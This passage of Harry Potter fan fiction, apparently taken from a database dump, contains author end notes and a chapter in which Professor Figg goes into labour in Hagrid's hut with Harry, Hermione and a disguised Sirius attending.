wasn&#8217;t sleeping.&nbsp; Now, thanks to you all I can think about is Hermione.&#8221;</p>\n\n<p>&#8220;Like you didn&#8217;t spend a lot of time thinking about her before,&#8221; she said bemusedly.&nbsp; &#8220;I&#8217;m sure that all she&#8217;s thinking about tonight is what you and I are talking about right now.&nbsp; I&#8217;m sure she&#8217;s very worried about what you&#8217;re feeling towards me.&#8221;</p>\n\n<p><i>Better than her connecting with Ron,</i> Harry thought to himself. </p>\n\n<p>*</p>\n\n<p>After Harry was released from the hospital wing, he had one week to finish all the rebuttals.&nbsp; Hermione had made notations on each sheet of testimony and decided which ones needed responding to individually.&nbsp; By the time they were finished there were over thirty sheets of parchment to send off to the Board of Governors.&nbsp; Hermione had spent so much time working on Harry&#8217;s defence that she actually received a less than perfect score on essays for the History of Magic and Charms classes.</p>\n\n<p>As Hedwig and Athena took off from the owlery carrying the two packages of parchments, Harry and Hermione collapsed in a heap of exhaustion.</p>\n\n<p>&#8220;That&#8217;s finally over,&#8221; he sighed.</p>\n\n<p>Hermione nodded, &#8220;Yeah, but we have the O.W.L.s starting a week from Wednesday and final exams the week after that.&nbsp; And yes, then on the 24<sup>th</sup> we have your oral defence, but at least you&#8217;re done with the Quidditch season.&#8221;</p>\n\n<p>Harry shook his head at her smiling, &#8220;Can&#8217;t we just take one night off?&nbsp; Relax a little?&#8221;</p>\n\n<p>She looked him square in the eye and said, &#8220;I won&#8217;t be able to relax until I know you&#8217;re coming back next year.&nbsp; Besides, I am so far behind in reading for my classes to get ready for finals that it isn&#8217;t even funny.&#8221; </p>\n\n<p>*</p>\n\n<p>That Friday after the Defence Against the Dark Arts class was dismissed, Professor Figg asked Harry to stay after class.&nbsp; Following the rest of the class out the door, Ron and Hermione looked at Harry quizzically while he just shrugged his shoulders.&nbsp; He walked up to the desk to see what his teacher wanted.&nbsp; He noticed that she looked very tired, more than he had ever remembered seeing her look.</p>\n\n<p>&#8220;Umm, what is it?&#8221; Harry asked as he pushed up his glasses.</p>\n\n<p>She looked at him and tugged at her ear, &#8220;So, Harry I need to ask your help with something.&#8221;</p>\n\n<p>&#8220;Sure.&nbsp; What do you need?&#8221;</p>\n\n<p>&#8220;First of all, could you bring that chair over here, my feet are killing me.&#8221;</p>\n\n<p>&nbsp;&#8220;You look really tired,&#8221; he observed as he picked up one of the chairs and brought it behind her desk. </p>\n\n<p>&#8220;I am, but I don&#8217;t think the Headmaster would appreciate one of his instructors taking afternoons off simply because they needed a nap,&#8221; she said yawning.&nbsp; Professor Figg then propped her feet up on the chair and Harry noticed how swollen her ankles were.&nbsp; His eyes then traveled up her legs and noticed the way her robes hung on her body.&nbsp; There was a large mound on her abdomen.&nbsp; </p>\n\n<p>&#8220;Are you&#8230;?&#8221; he started.</p>\n\n<p>&#8220;Yes, Harry,&#8221; she said smiling.&nbsp; &#8220;I&#8217;m pregnant.&nbsp; That&#8217;s what I need your help with.&nbsp; I&#8217;m due any day and I want you and Hermione to help with my delivery.&#8221; </p>\n\n<p>**</p>\n\n<p>End notes:&nbsp; I&#8217;d like to say a few words about memory charm theories.&nbsp; Elkins did a fabulous job assembling the various memory charm and reverse-memory charm theories that have been floated on the Harry Potter for Grown Ups List Serv.&nbsp; I decided to pick and choose things that seemed likely to me and also fit my plotline &#8211; as well as throwing my own ideas to make things extra complicated and unpredictable.&nbsp; Anyone interested in reading about alternative theories on this topic can join the list at http://groups.yahoo.com/group/HPforGrownups/&nbsp;&nbsp; and be sure to check the archives starting at message 38812.&nbsp; This topic generated numerous replies and is quite a lengthy discussion of various theories, some are incredibly creative and wildly imaginative.</p>\n\n<p>After I had a Freudian slip when I was turning dialogue over in my head and came up with the name &#8216;Luscious Malfoy,&#8217; I had such a fit of maniacal laughter that I knew I would have to include it in my story.&nbsp; I know that I&#8217;ll never be able to read or hear his name the same way ever again.&nbsp; Of course, it lost a little of its punch after the second movie came out and many adult women started looking at Jason Isaacs and saying, &#8220;my isn&#8217;t he luscious.&#8221;</p>\n\n<p>I had one reviewer mention when this story was published elsewhere that she didn&#8217;t like my backstory for Lucretia Longbottom&#8217;s family.&nbsp; That was because of what JKR had written in PoA about witch hunts being pointless.&nbsp; I thought that was a tad too sanitized for me, because in reality witch hunts occurred and tens of thousands of innocent people were executed with the flimsiest of evidence.&nbsp; If anyone is interested in reading a non-fiction account of this, I would suggest &#8220;Witchcraze&#8221; by Anne Barstow or if you prefer fiction try the novel, &#8220;The Burning Times&#8221; by Jeanne Kalogridis.&nbsp; I would also like to take this opportunity to credit Ms. Kalogridis with the idea of The Touch and the ethereal white light around the hand as magical healing takes place.&nbsp; I liked that idea, so I borrowed it for Madame Pomfrey.</p>\n\n<p>In case anyone was wondering, the test that Snape did is called the Marsh test.&nbsp; I couldn&#8217;t resist throwing in a little clinical chemistry in there.&nbsp; Of course there are newer and more sophisticated tests used today to detect arsenic, but the Wizarding World isn&#8217;t exactly up on the latest technology now are they?&nbsp; And yes, the black sores on hands (and feet) is a symptom of arsenicosis.</p>\n\n<p>Thanks once again to AnimeFanatic, Batgirl, darkstar, kinicky21, MostEvilKitten, NAPPA, Nicole, and SamanthaMarie for their kind reviews.&nbsp; An answer to Batgirl&#8217;s question about Kneazles.&nbsp; The only place that Kneazles are mentioned is in Fantastic Beasts and Where to Find Them.&nbsp; Personally, I&#8217;m betting that Crookshanks is a half-Kneazle.&nbsp; Otherwise, his tail would look like a lion&#8217;s tail and not like a normal kitty.&nbsp; </p> '),
	(260, 14, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s Note:&nbsp; I\'d like to thank my beta readers: Cara Hicks, Ama, Lanski author of &quot;A New Ghost&quot; on The Dark Arts and Maria 1314. I wanted to elicit a little more feedback on this chapter before releasing it for your consumption. I figured after reading childbirth scenes in &quot;The Red Tent,&quot; &quot;Pope Joan,&quot; and &quot;The Burning Times&quot; that I could also give the subject matter a go of it. Mine of course, has my own distinctive take on the matter. Enjoy!</p>\n\n<p>Rating:&nbsp; R &#8211; for adult themes and sexual intimacy</p>\n\n<p>Chapter Fourteen - Labour of Love</p>\n\n<p>&#8220;You&#8217;re pr-pregnant?&#8221; Harry stuttered.</p>\n\n<p>&#8220;Yesss,&#8221; Professor Figg said nodding.</p>\n\n<p>&#8220;How?&#8221; He shook his head vigorously, &#8220;I mean, I <i>know </i>how, but&#8230;&#8221;</p>\n\n<p>She laughed, &#8220;Did you think I was too old?&#8221;</p>\n\n<p>&#8220;Uh, yeah.&nbsp; NO!&nbsp; I mean, you don&#8217;t look <i>that</i> old, but&#8230;&#8221;</p>\n\n<p>&#8220;I am old enough to be your mother,&#8221; she said smiling.</p>\n\n<p>&#8220;Uh huh.&#8221;&nbsp; Harry started feeling really stupid.&nbsp; As if nothing he said would be able to get him out of the hole he was digging.&nbsp; Then he realized what he should have said at the beginning.&nbsp; &#8220;Oh, umm, congratulations.&#8221;</p>\n\n<p>&#8220;Thank you.&nbsp; To tell you the truth, I wasn&#8217;t sure if I could get pregnant.&nbsp; When Sirius came back in my life, I knew that this would probably be my last chance to be a mother.&nbsp; That&#8217;s why I stopped taking the aging potion.&nbsp; I wanted my ovaries to adjust to being back in a forty-four year old woman&#8217;s body.&nbsp; Sort of like when Muggle women go off The Pill.&nbsp; It takes a few months to get back to normal.&nbsp; Of course, they don&#8217;t have the potion-making skills that I do.&nbsp; And when I went back to help him with the &#8216;Nadine problem,&#8217; I wound up conceiving.&nbsp; I would have liked my due date to have been later, you know after school got out, but there are just some things you have no control over.&nbsp; This is one of them.&#8221;</p>\n\n<p>&#8220;Is that why you didn&#8217;t want to use the Polyjuice Potion?&#8221; Harry asked.</p>\n\n<p>&#8220;Yes.&nbsp; I don&#8217;t know what impact it would have on my pregnancy, but I didn&#8217;t want to take any chances.&nbsp; That&#8217;s also why I wouldn&#8217;t use the Floo Network.&nbsp; I was afraid it might cause a miscarriage.&#8221;</p>\n\n<p>&#8220;Does Dumbledore know?&#8221;</p>\n\n<p>&#8220;Yes, I told him a few weeks ago.&nbsp; He was very happy for me, but he was also a little disappointed.&#8221;</p>\n\n<p>&#8220;Disappointed?&#8221; Harry said sounding surprised.</p>\n\n<p>&#8220;Yes,&#8221; she said laughing.&nbsp; &#8220;He thought he had finally found a teacher for this position that would last more than one year!&#8221;</p>\n\n<p>Harry joined her in laughing.&nbsp;&nbsp; &#8220;At least you didn&#8217;t turn out to be a Death Eater in disguise.&#8221;</p>\n\n<p>&#8220;Yes, I don&#8217;t know who he&#8217;ll get next year, but I plan on raising my child in a nice quiet neighbourhood in Little Whinging, at least for the next two years or so.&#8221;</p>\n\n<p>&#8220;So how did you want me to help?&#8221; Harry asked.</p>\n\n<p>&#8220;I want you to be there at the birth.&nbsp; A birthing mother has many needs and it is more than a single midwife can handle.&nbsp; When the time comes, I will also need you to bring Hermione with you.&nbsp; I want her to tend to my personal needs.&nbsp; I want you to be there for Sirius, just in case he needs any help.&#8221;</p>\n\n<p>&#8220;He&#8217;s going to be there?&#8221; he asked excitedly.</p>\n\n<p>&#8220;Yes, he wouldn&#8217;t miss this for the world.&#8221;</p>\n\n<p>&#8220;Can I tell Hermione ahead of time or should I just wait until that day and bring her with me?&#8221;</p>\n\n<p>&#8220;You can tell her now, just be sure that you&#8217;re alone and that no one else hears you.&nbsp; Also, of course you can&#8217;t tell her anything about Sirius.&nbsp; Remember, you won&#8217;t have met him before and his name will be Joseph O&#8217;Brien.&#8221;</p>\n\n<p>&#8220;I understand.&nbsp; I&#8217;m a little nervous though.&nbsp; I&#8217;ve never seen anything being born before,&#8221; Harry said worriedly.</p>\n\n<p>&#8220;Then you&#8217;re in for a real eye-opener,&#8221; she said.&nbsp; &#8220;Would you like to feel the baby move?&#8221;</p>\n\n<p>Harry wasn&#8217;t sure about this, but didn&#8217;t want to insult her.&nbsp; &#8220;Sure,&#8221; he said as he stuck out his hand.</p>\n\n<p>She placed it on her belly and Harry felt the quick movement as the heel of the baby jerked.</p>\n\n<p>&#8220;Whoa!&#8221; he said smiling.&nbsp; <br>\n\n<br>\n\n</p>\n\n<p>*</p>\n\n<p>Ron and Hermione were very curious why Professor Figg wanted Harry to stay after class.&nbsp; They started pumping him for information as soon as he sat down for dinner.</p>\n\n<p>&#8220;Umm, Harry what did Figg want to talk with you about?&#8221; Ron sniffed.&nbsp; &#8220;Was it about Mrs. Norris?&nbsp; I haven&#8217;t seen that mangy cat around the castle for a couple of weeks now.&#8221;</p>\n\n<p>&#8220;Er, no,&#8221; Harry blinked.</p>\n\n<p>&#8220;Well, what was it then?&#8221; Hermione asked licking her lips.</p>\n\n<p>&#8220;Umm,&#8221; Harry stammered.&nbsp; He couldn&#8217;t tell Ron the truth.&nbsp; He considered saying something like Figg wanted to wish him well on the expulsion hearings, but he knew that he would get him into trouble with Hermione.&nbsp; She had already reprimanded him for telling lies, so he started feeling a little stuck as to how to answer Ron.&nbsp; </p>\n\n<p>&#8220;I can&#8217;t tell you,&#8221; said Harry shaking his head.</p>\n\n<p>Hermione looked a little disappointed, but nodded her head.&nbsp; Ron closed his eyes and looked as if he were trying to concentrate hard.&nbsp; Harry then felt as if someone were trying to pick his brain.&nbsp; &#8220;STOP THAT!&#8221; he screamed in his mind. &nbsp;Ron&#8217;s eyes flew open and he quickly bowed his head.</p>\n\n<p>As they were finishing their meal, Harry asked Hermione to take a walk with him around the lake.</p>\n\n<p>&#8220;I need to tell you something.&#8221;</p>\n\n<p>&#8220;Sure Harry,&#8221; she agreed.</p>\n\n<p>Ron gave them a suspicious look as they left the Great Hall.&nbsp; Harry waited until they were far away from the castle until he would tell her anything.</p>\n\n<p>&#8220;Professor Figg needs our help,&#8221; he said.</p>\n\n<p>&#8220;With what?&#8221; she asked.</p>\n\n<p>Harry smiled at her, &#8220;She&#8217;s pregnant and due any day.&nbsp; She wants us to help her when she goes into labour.&#8221;</p>\n\n<p>Hermione&#8217;s jaw dropped, &#8220;You&#8217;re kidding me!&#8221;</p>\n\n<p>&#8220;No, it&#8217;s true.&#8221;</p>\n\n<p>&#8220;Why does she want <i>us</i> to help her?&#8221;</p>\n\n<p>&#8220;Umm, maybe she likes us?&#8221; Harry suggested.&nbsp; &#8220;She wanted someone she trusted to help her and uh, we are pretty well known around here.&#8221;</p>\n\n<p>&#8220;Did she want me to act as a doula for her?&#8221; Hermione asked.</p>\n\n<p>&#8220;What&#8217;s a doula?&#8221; he asked.</p>\n\n<p>&#8220;A birth attendant.&#8221;</p>\n\n<p>&#8220;Uh, yeah, that&#8217;s what she needs.&nbsp; Have you ever seen anything being born before?&#8221; Harry asked.</p>\n\n<p>&#8220;Yes.&nbsp; I&#8217;ve seen lots of kittens being born over the years and I also was at my cousin&#8217;s birth a couple summers ago.&nbsp; She had a home birth.&#8221;</p>\n\n<p>&#8220;Well, then you&#8217;ll be all set.&nbsp; I&#8217;m a bit nervous though,&#8221; Harry admitted.</p>\n\n<p>&#8220;You&#8217;ll be fine.&nbsp; You&#8217;ve duelled with Voldemort, you can survive seeing a baby being born,&#8221; she said laughing.&nbsp; &#8220;Did she say where she was going to give birth?&#8221;</p>\n\n<p>&#8220;No, but I think probably somewhere around here.&#8221;</p>\n\n<p>&#8220;So you don&#8217;t think it&#8217;ll be at St. Mungo&#8217;s?&#8221; she asked.</p>\n\n<p>&#8220;Uh, no I don&#8217;t think so,&#8221; he said.&nbsp; Especially not when there are Death Eaters working there, he thought to himself.&nbsp; &#8220;She did mention a midwife, but not Madam Pomfrey so I don&#8217;t even know if it&#8217;ll be in the hospital wing.&#8221;</p>\n\n<p>&#8220;Did she say who the father was?&#8221; Hermione asked.</p>\n\n<p>&#8220;Uhh, I didn&#8217;t ask,&#8221; offered Harry.&nbsp; Technically that was true, he didn&#8217;t ask because he already knew.</p>\n\n<p>&#8220;Do you think it might be Snape?&#8221; she asked.</p>\n\n<p>&#8220;No!&#8221; Harry said quickly with a horrified expression on his face.&nbsp; He shuddered at the thought.</p>\n\n<p>&#8220;You sound pretty confident about that.&#8221;</p>\n\n<p>&#8220;Well, um, I don&#8217;t think Snape is her type,&#8221; Harry said.</p>\n\n<p>&#8220;Who do you think it is?&#8221; Hermione pressed.</p>\n\n<p>&#8220;I&#8217;m sorry, but I don&#8217;t feel comfortable talking about our teachers&#8217; sex lives,&#8221; he said blushing.</p>\n\n<p>*</p>\n\n<p>Ron woke up with a start.&nbsp; This time he hadn&#8217;t screamed.&nbsp; He looked around the room and got his bearings.&nbsp; It was Monday and it was still before dawn, but he had to wake Harry.&nbsp; This premonition dealt with him.&nbsp; He crept out of his bed and gently shook his sleeping friend.</p>\n\n<p>&#8220;Harry, wake up,&#8221; he whispered.</p>\n\n<p>&#8220;Wha &#8211; what&#8217;s going on?&#8221; Harry mumbled.</p>\n\n<p>&#8220;I have to tell you something.&nbsp; Come on, get up,&#8221; Ron said as he handed Harry his glasses and bathrobe.</p>\n\n<p>Harry clambered out of bed and stumbled down the stairs.&nbsp; As they reached the common room, he was somewhat coherent.</p>\n\n<p>&#8220;What&#8217;s going on Ron?&#8221; he asked rubbing his eyes.</p>\n\n<p>&#8220;I had another dream.&nbsp; This time it was about you,&#8221; Ron looked at Harry with a mixture of worry and suspicion.&nbsp; &#8220;Harry, what are you hiding from me?&#8221;</p>\n\n<p>&#8220;There are so many things I want to tell you about,&#8221; Harry said solemnly.</p>\n\n<p>&#8220;Well, something is about to be revealed.&nbsp; It poses danger.&nbsp; There will be great trial and tribulation as well as betrayal.&nbsp; I want you to tell me what&#8217;s going on.&nbsp; I can&#8217;t help you otherwise,&#8221; Ron said with determination.</p>\n\n<p>&#8220;Ron, I&#8217;ve been sworn to secrecy.&nbsp; I wish I could tell you, but&#8230;&#8221; Harry shook his head sadly.</p>\n\n<p>&#8220;Fine,&#8221; Ron spat.&nbsp; &#8220;Consider yourself warned.&#8221;</p>\n\n<p>*</p>\n\n<p>That morning at breakfast a tawny owl dropped a letter in front of Harry.</p>\n\n<p><i>Harry,</i></p>\n\n<p><i>It&#8217;s time.&nbsp; Bring Hermione to Hagrid&#8217;s hut.&nbsp; Don&#8217;t worry about missing your classes.</i></p>\n\n<p><i>AF</i></p>\n\n<p><i></i></p>\n\n<p>Hermione looked up at Harry.&nbsp; &#8220;Is that&#8230;&#8221; she started.</p>\n\n<p>&#8220;Yup,&#8221; he nodded.&nbsp; &#8220;It&#8217;s time to go.&nbsp; Ron, we&#8217;ll see you later.&#8221;</p>\n\n<p>&#8220;Where are you two going?&#8221; Ron asked.</p>\n\n<p>&#8220;Can&#8217;t say,&#8221; Harry replied before taking a final swig of pumpkin juice.</p>\n\n<p>&#8220;Remember what I warned you about earlier,&#8221; Ron said with an angry edge to his voice.</p>\n\n<p>Harry nodded as he left the table.&nbsp; Ron&#8217;s vision was weighing heavily on Harry&#8217;s mind.&nbsp; As he and Hermione walked across the grounds he felt as if they were going out of bounds rather than merely taking the familiar path to a friend&#8217;s house.</p>\n\n<p>Harry knocked on the door.</p>\n\n<p>&#8220;There yeh are,&#8221; said Hagrid.&nbsp; &#8220;Hermione, she needs yeh ta go ter the gardens and gather some fresh lavender.&nbsp; Here&#8217;s some shears ter cut it with.&#8221;</p>\n\n<p>She nodded, took the shears and immediately started for the gardens behind the greenhouses.</p>\n\n<p>&#8220;What can I do?&#8221; asked Harry.</p>\n\n<p>&#8220;Stay with her.&nbsp; I need ter go fetch the midwife.&#8221;</p>\n\n<p>&nbsp;Hagrid left and now Harry was alone in the hut with Professor Figg.&nbsp; He saw her lying on her side on the bed.&nbsp; She was wearing only a thin nightgown and was breathing slowly and deeply.&nbsp; He cautiously walked over to her.</p>\n\n<p>&#8220;Umm, hello, Professor Figg.&nbsp; Can I do anything for you?&#8221; he said pushing up his glasses.</p>\n\n<p>She continued taking a few deep breaths and then opened her eyes to him.</p>\n\n<p>&#8220;Harry I need you to knead my lower back.&nbsp; It&#8217;s in spasms,&#8221; she said grimacing.&nbsp; </p>\n\n<p>She rolled over with great effort and turned her back to him.&nbsp; Harry awkwardly put his hands on her back and started to rub.&nbsp; He could feel the knotted muscles in her back and tried to relax them, but he seemed pretty inept.</p>\n\n<p>&#8220;Professor, you didn&#8217;t use our signal.&#8221;</p>\n\n<p>&#8220;So Harry,&#8221; she said sounding irritated, &#8220;I&#8217;m a bit tired for all of that right now.&nbsp; And believe me &#8211; no one is going to Polyjuice into a woman in active labour.&nbsp; A little lower, <i>lower</i>&#8230;that&#8217;s it.&nbsp; Keep rubbing.&#8221;&nbsp; She started breathing deeply again.</p>\n\n<p>Harry felt a little sheepish for having questioned her identity at such a sensitive time.&nbsp; He also knew that he had to bring up Ron&#8217;s vision with her before Hermione returned.&nbsp; He took a deep breath and then plunged forward.</p>\n\n<p>&#8220;Er, Professor, there&#8217;s something I have to tell you.&nbsp; Ron had a premonition this morning.&nbsp; He said that something was about to be revealed and that it posed danger.&nbsp; There will be great trial and tribulation as well as betrayal.&#8221;&nbsp; </p>\n\n<p>As her contraction ebbed, so did her deep breathing.&nbsp; She looked up at Harry, &#8220;Secret to be revealed?&nbsp; Yup, I&#8217;m giving birth!&nbsp; I used Disillusionment charms to help hide my pregnancy, I can&#8217;t do that with a newborn.&#8221;</p>\n\n<p>&#8220;Well what about the trial and tribulation?&#8221; he asked.</p>\n\n<p>&#8220;That&#8217;s called being in labour.&#8221;</p>\n\n<p>&#8220;Betrayal?&#8221;</p>\n\n<p>&#8220;My baby&#8217;s facing the wrong way.&nbsp; So I&#8217;ve got back labour.&nbsp; That&#8217;s close enough for betrayal for me.&nbsp; Thankfully it wasn&#8217;t breach.&nbsp; Ugh, I need you to use your knuckles, not just your hands,&#8221; she said through clenched teeth.</p>\n\n<p>Harry tried his best to knead her tense back muscles.&nbsp; </p>\n\n<p>&#8220;Lower, lower!&#8221; she barked.&nbsp; &#8220;Knuckle it, <i>harder</i>!&#8221;</p>\n\n<p>&#8220;Maybe Sirius shouldn&#8217;t come.&nbsp; He might be in danger,&#8221; Harry urged.</p>\n\n<p>&#8220;Harder!&#8221;&nbsp; She started another round of deep breathing.&nbsp;&nbsp; After about forty seconds or so, her eyelids fluttered open again.&nbsp; &#8220;He&#8217;s on his way.&nbsp; He&#8217;d never miss this.&nbsp; Besides, I need him here.&#8221;</p>\n\n<p>&#8220;But Ron predicted Charlie&#8217;s death the morning it happened.&nbsp; His powers of clairvoyance are becoming very strong.&nbsp; I&#8217;m worried and now that he had this vision this morning&#8230;&#8221; Harry said.</p>\n\n<p>&#8220;What time did he have his vision?&#8221;</p>\n\n<p>&#8220;About five this morning.&#8221;</p>\n\n<p>&#8220;That&#8217;s about the time I went into active labour,&#8221; she said breathing deeply.&nbsp; &#8220;He just saw my day.&#8221;</p>\n\n<p>At that point Harry realized that it wouldn&#8217;t do him any good to argue with her.&nbsp; If Ron&#8217;s prediction foresaw danger, there was nothing he could do about it now.&nbsp; It would be better for him to just see to his teacher&#8217;s needs.</p>\n\n<p>&#8220;Is anyone teaching your classes today?&#8221; Harry asked.</p>\n\n<p>&#8220;Dumbledore,&#8221; she said exhaling.</p>\n\n<p>Hermione opened the door with her arms full of lavender.&nbsp; &#8220;I hope this is enough.&nbsp; It&#8217;s not quite in bloom yet, but hopefully it&#8217;ll work for you.&#8221;</p>\n\n<p>Professor Figg nodded weakly.&nbsp; &#8220;Bring that over here, crush some of it so I get a good whiff of it.&#8221;</p>\n\n<p>&#8220;Do you need me to charm the windows?&#8221; Hermione asked.</p>\n\n<p>&#8220;No, I did that already,&#8221; she replied.</p>\n\n<p>Professor Figg started breathing deeply again as another wave of contractions took hold.&nbsp; The front door opened and Sirius Black entered.&nbsp; He looked strong, tall, handsome and confident as he strode across the cabin to Professor Figg&#8217;s side.&nbsp; He knelt down, kissed her forehead and smoothed the hair from her face.</p>\n\n<p>&#8220;Bella, how are ya?&#8221; he asked warmly.</p>\n\n<p>&#8220;Hangin&#8217; in there, Joseph,&#8221; she said with a strained smile.</p>\n\n<p>Harry stuck out his hand toward Sirius, &#8220;Hello, I&#8217;m Harry Potter and this is Hermione Granger.&nbsp; We&#8217;re students here.&#8221;</p>\n\n<p>&#8220;G&#8217;day, Harry, Hermione.&nbsp; I&#8217;m Joseph O&#8217;Brien.&nbsp; It&#8217;s good to meetcha,&#8221; Sirius said as he stood up and shook their hands.</p>\n\n<p>Hermione gave a shy smile and brushed the hair out of her face.&nbsp; Harry was surprised to see her blushing slightly.&nbsp; The last time he had seen her act that way toward anyone was Gilderoy Lockhart.&nbsp; He felt a twinge of something like jealousy hit him, but then he felt relieved when he realized that she didn&#8217;t seem to recognize Sirius through his disguise.&nbsp; </p>\n\n<p>Sirius climbed into the bed next to his lover and started whispering in her ear.&nbsp; She nodded softly and seemed to relax immensely by his presence.&nbsp; He placed a hand on her swollen abdomen and kissed her neck.&nbsp; She moved his hand to the small of her back.</p>\n\n<p>&#8220;I need you to knuckle it.&nbsp; I&#8217;ve got back labour,&#8221; she said hissing.</p>\n\n<p>He did as he was told all the while whispering in her ear.&nbsp; Hermione waved wands of lavender over the bed and soon Harry could smell the aromatic scent wafting through the room.&nbsp; She then sat down on the other side of the bed and started giving words of encouragement to Professor Figg.&nbsp;&nbsp; </p>\n\n<p>A short while later Hagrid returned with the midwife.&nbsp; The midwife was a middle-aged witch who had a long braid of dark brown hair down her back.&nbsp; She looked like a warm, compassionate, but no-nonsense woman.&nbsp; Hagrid was carrying a large object draped under a piece of cloth.&nbsp; As they entered the hut, Professor Figg looked up and smiled weakly.</p>\n\n<p>&#8220;Rebecca&#8230;&#8221; she said.</p>\n\n<p>&#8220;Arabella, how are you doing?&#8221; Rebecca asked.</p>\n\n<p>&#8220;Okay, my water broke at five this morning.&#8221;</p>\n\n<p>&#8220;Yes, well let me examine you,&#8221; the midwife said as she set her black satchel on the floor.</p>\n\n<p>Harry wasn&#8217;t sure what that examination would entail, but he felt that he should give them some privacy and walked to the other side of the cabin.&nbsp; Hagrid removed the cloth and set down a large armchair with a hole cut in the seat.&nbsp; Sirius got out of the bed and walked over to Hagrid and stuck out his hand.</p>\n\n<p>&#8220;You must be Hagrid.&nbsp; Arabella&#8217;s told me all about ya.&nbsp; I&#8217;m Joseph O&#8217;Brien.&#8221;</p>\n\n<p>&#8220;Good to meet ya, Joseph,&#8221; Hagrid replied shaking his hand.</p>\n\n<p>&#8220;Very decent of ya to let Arabella use your place for this,&#8221; Sirius said.</p>\n\n<p>&#8220;It&#8217;s nothin&#8217; but ah, I gotta get goin&#8217;.&nbsp; I got me classes to teach,&#8221; Hagrid said as he left the hut.</p>\n\n<p>&#8220;G&#8217;day Hagrid,&#8221; Sirius said, &#8220;it was good to meetcha.&#8221;</p>\n\n<p>The midwife lowered the hem of Professor Figg&#8217;s nightgown.</p>\n\n<p>&#8220;Good, you&#8217;re at about five and a half centimetres.&nbsp; You are progressing very well.&nbsp; Have you voided recently?&#8221; Rebecca asked her.</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&#8220;Well maybe your partner can help you,&#8221; Rebecca.&nbsp; &#8220;Excuse me, but what is your name?&#8221;</p>\n\n<p>&#8220;Joseph O&#8217;Brien,&#8221; Sirius replied.</p>\n\n<p>&#8220;Hello Joseph, I&#8217;m Rebecca Nurse.&nbsp; Why don&#8217;t you see if you can help get her to the loo.&nbsp; We need to keep her hydrated and also make sure she voids regularly.&#8221;</p>\n\n<p>Sirius started to help lift Professor Figg into a standing position.&nbsp; As she stood and took a step, a wave of contractions hit.&nbsp; This time it was more intense because she changed her breathing to short, shallow puffs of air.&nbsp; She would breathe that way for almost a minute and then stop.&nbsp; Each step she took caused another wave of contractions to hit her.&nbsp; She hung in his arms and tears started to flow down her face from the pain.</p>\n\n<p>&#8220;Can&#8217;t you give her something?&#8221; Harry asked the midwife.</p>\n\n<p>&#8220;I&#8217;m sorry, your name is?&#8221; Rebecca replied.</p>\n\n<p>&#8220;I&#8217;m Harry Potter and that is Hermione Granger,&#8221; he answered.</p>\n\n<p>&#8220;Oh, yes.&nbsp; You two did look a little familiar,&#8221; she said stifling a smile.&nbsp; &#8220;Well Harry there are some herbs I give to labouring women, but generally only when they are very weak or in excruciating pain.&nbsp; But she&#8217;s doing quite well.&nbsp; I don&#8217;t want to give her anything that will numb her ability to control this birth.&nbsp; You grew up in the Muggle world didn&#8217;t you?&#8221;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;Well there is the common perception by Muggle doctors, especially male doctors that childbirth is something that can be managed by modern medicine.&nbsp; Muggle hospitals tend to rob women of being fully able to own their birthing experience.&nbsp; Women are far too often given harsh induction drugs, numbed with painkillers, strapped down to monitors and IV poles, forced to lie flat on their backs and told not to move.&nbsp; Too many women wind up being sliced open because these practices cause the babies to go into fetal distress or it is decided that the women &#8216;are failing to progress.&#8217;&nbsp; It wasn&#8217;t too long ago that Muggle women were put in restraints during childbirth because those male doctors thought that if women moved their arms or legs that it would interfere with a &#8216;sterile field,&#8217;&#8221; Rebecca said giving a hollow laugh.&nbsp; &#8220;You&#8217;ll see that giving birth is an organic experience and not a sterile procedure.&nbsp; If these Muggle doctors allowed women the freedom to move about and to follow their body&#8217;s instincts like billions of women that have come before since the beginning of time &#8211; we wouldn&#8217;t have a fraction of those Caesareans.&#8221;</p>\n\n<p>&#8220;You don&#8217;t seem to like male doctors,&#8221; Harry observed.</p>\n\n<p>&#8220;Not when it comes to treating women&#8217;s childbirth and The Change,&#8221; she said bitterly.&nbsp; &#8220;Men who have never even experienced simple menstrual cramps cannot possibly understand what it is like to give birth or to go through menopause.&nbsp; And for them to treat women as addle-minded children, well I have to restrain myself from throwing hexes at the lot of them.&#8221; </p>\n\n<p>&#8220;So you&#8217;re not going to give her anything?&#8221; Harry asked again.</p>\n\n<p>&#8220;No, she doesn&#8217;t need it.&nbsp; Any drug I would give her now might interfere with her ability to respond to her own bodily instincts.&nbsp; She&#8217;s doing fine.&#8221;</p>\n\n<p>Harry looked over at Professor Figg who had finally reached the door to the loo.&nbsp; She looked exhausted and in pain.&nbsp; Sirius was there and supporting her physically and emotionally.&nbsp; Harry had to admit that Professor Figg had been right, she did need him there.</p>\n\n<p>As the day wore on, Harry noticed Professor Figg&#8217;s demeanour change.&nbsp; She no longer spoke between the waves of contractions.&nbsp; Her eyes were closed the entire time and she seemed to be dreaming or hallucinating between her bouts of rapid breathing.&nbsp; Sirius continued to rub and knead her back and her thighs when she developed a cramp in a new set of muscles.&nbsp; After a few hours Sirius became exhausted and asked Hermione to spell him for a few minutes.&nbsp; Harry then was asked to massage Sirius&#8217;s tired forearms and hands.</p>\n\n<p>Rebecca examined Professor Figg again and said that it would probably be at least another two hours before the baby was born.&nbsp; She suggested that Harry and Hermione bring a late lunch back for everyone and some broth and ice chips for Professor Figg.</p>\n\n<p>As Harry and Hermione crossed the grounds they passed by Hagrid&#8217;s fifth year class for the Care of Magical Creatures.&nbsp; A class that they were supposed to be attending.&nbsp; He felt guilty to be seen walking around school and not in class.&nbsp; It didn&#8217;t help matters to know that both Ron and Malfoy were staring at them with suspicious looks on their faces.</p>\n\n<p>They went directly to the kitchens to get food from the house-elves.&nbsp; As they were waiting for the lunches to be packed up, Hermione turned to him.</p>\n\n<p>&#8220;You were right Harry.&nbsp; Snape is not her type.&nbsp; That Joseph O&#8217;Brien is sure dreamy.&nbsp; But there&#8217;s something about him&#8230;he reminds me of someone, but I can&#8217;t quite put my finger on it,&#8221; she said.</p>\n\n<p>Harry was afraid she might figure out the truth, so he thought a little misdirection might help.</p>\n\n<p>&#8220;Maybe an actor from the movies?&#8221; he suggested.</p>\n\n<p>&#8220;Maybe, but somehow I think it&#8217;s someone I know 